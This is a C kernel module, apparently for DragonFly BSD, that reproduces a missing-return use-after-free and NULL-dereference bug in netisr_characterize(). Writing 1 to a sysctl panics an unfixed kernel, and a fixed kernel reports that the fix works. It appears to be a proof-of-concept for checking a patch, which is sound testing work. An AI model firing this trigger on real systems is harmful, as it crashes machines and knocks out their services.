/*
 * DF-0609 trigger module — deterministically exercises the missing-return
 * UAF/NULL-deref bug in netisr_characterize().
 *
 * Strategy: NETISR_NETGRAPH (30) is registered ONLY when the netgraph
 * module is loaded. On the default X86_64_GENERIC kernel (no netgraph
 * kld), netisrs[30].ni_handler == NULL. We allocate a valid mbuf and
 * call netisr_characterize(NETISR_NETGRAPH, &m, 0) directly, which
 * enters the buggy branch (ni_handler==NULL → m_freem+*mp=NULL with no
 * return), falls through to read m->m_flags from freed memory (UAF),
 * then calls ni->ni_hashfn(&mp,...) with *mp==NULL → netisr_hashfn0 →
 * m_sethash(NULL,0) → NULL-deref panic.
 *
 * On a FIXED kernel (return added after *mp=NULL), the function returns
 * cleanly; mp is NULL, no panic.
 *
 * This requires root to kldload — the same trust level as a protocol
 * module kldload/kldunload that would transiently NULL a handler in the
 * real-world attack vector.
 */

#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/mbuf.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <net/netisr.h>

static int
df0609_trigger(SYSCTL_HANDLER_ARGS)
{
	int val = 0;
	int error;
	struct mbuf *m, *mp;

	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	if (val != 1)
		return (0);

	/*
	 * Allocate a valid mbuf with a packet header. netisr_characterize
	 * KKASSERTs m != NULL and reads m->m_flags, so we need a real mbuf.
	 */
	m = m_gethdr(M_WAITOK, MT_DATA);
	if (m == NULL) {
		kprintf("DF-0609: m_gethdr failed\n");
		return (ENOMEM);
	}
	mp = m;
	kprintf("DF-0609: m=%p m_flags=0x%x — calling "
	    "netisr_characterize(NETISR_NETGRAPH=%d, &mp, 0)\n",
	    (void *)mp, mp->m_flags, NETISR_NETGRAPH);

	/* THE BUG TRIGGER — on unfixed kernel this panics inside the call */
	netisr_characterize(NETISR_NETGRAPH, &mp, 0);

	/* We only reach here on a FIXED kernel (return added) */
	kprintf("DF-0609: returned OK, mp=%p (NULL == mbuf freed cleanly, "
	    "no panic — FIX WORKS)\n", (void *)mp);
	return (0);
}

static int
df0609_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("DF-0609 trigger module loaded. "
		    "Write 1 to hw.df0609.trigger to fire.\n");
		return (0);
	case MOD_UNLOAD:
		kprintf("DF-0609 trigger module unloaded.\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df0609_mod = {
	"df0609_trigger",
	df0609_modevent,
	NULL
};

DECLARE_MODULE(df0609_trigger, df0609_mod, SI_SUB_EXEC, SI_ORDER_ANY);
MODULE_VERSION(df0609_trigger, 1);

SYSCTL_NODE(_hw, OID_AUTO, df0609, CTLFLAG_RW, 0, "DF-0609 trigger");
SYSCTL_PROC(_hw_df0609, OID_AUTO, trigger,
    CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df0609_trigger, "I",
    "write 1 to trigger netisr_characterize(NETISR_NETGRAPH) bug");
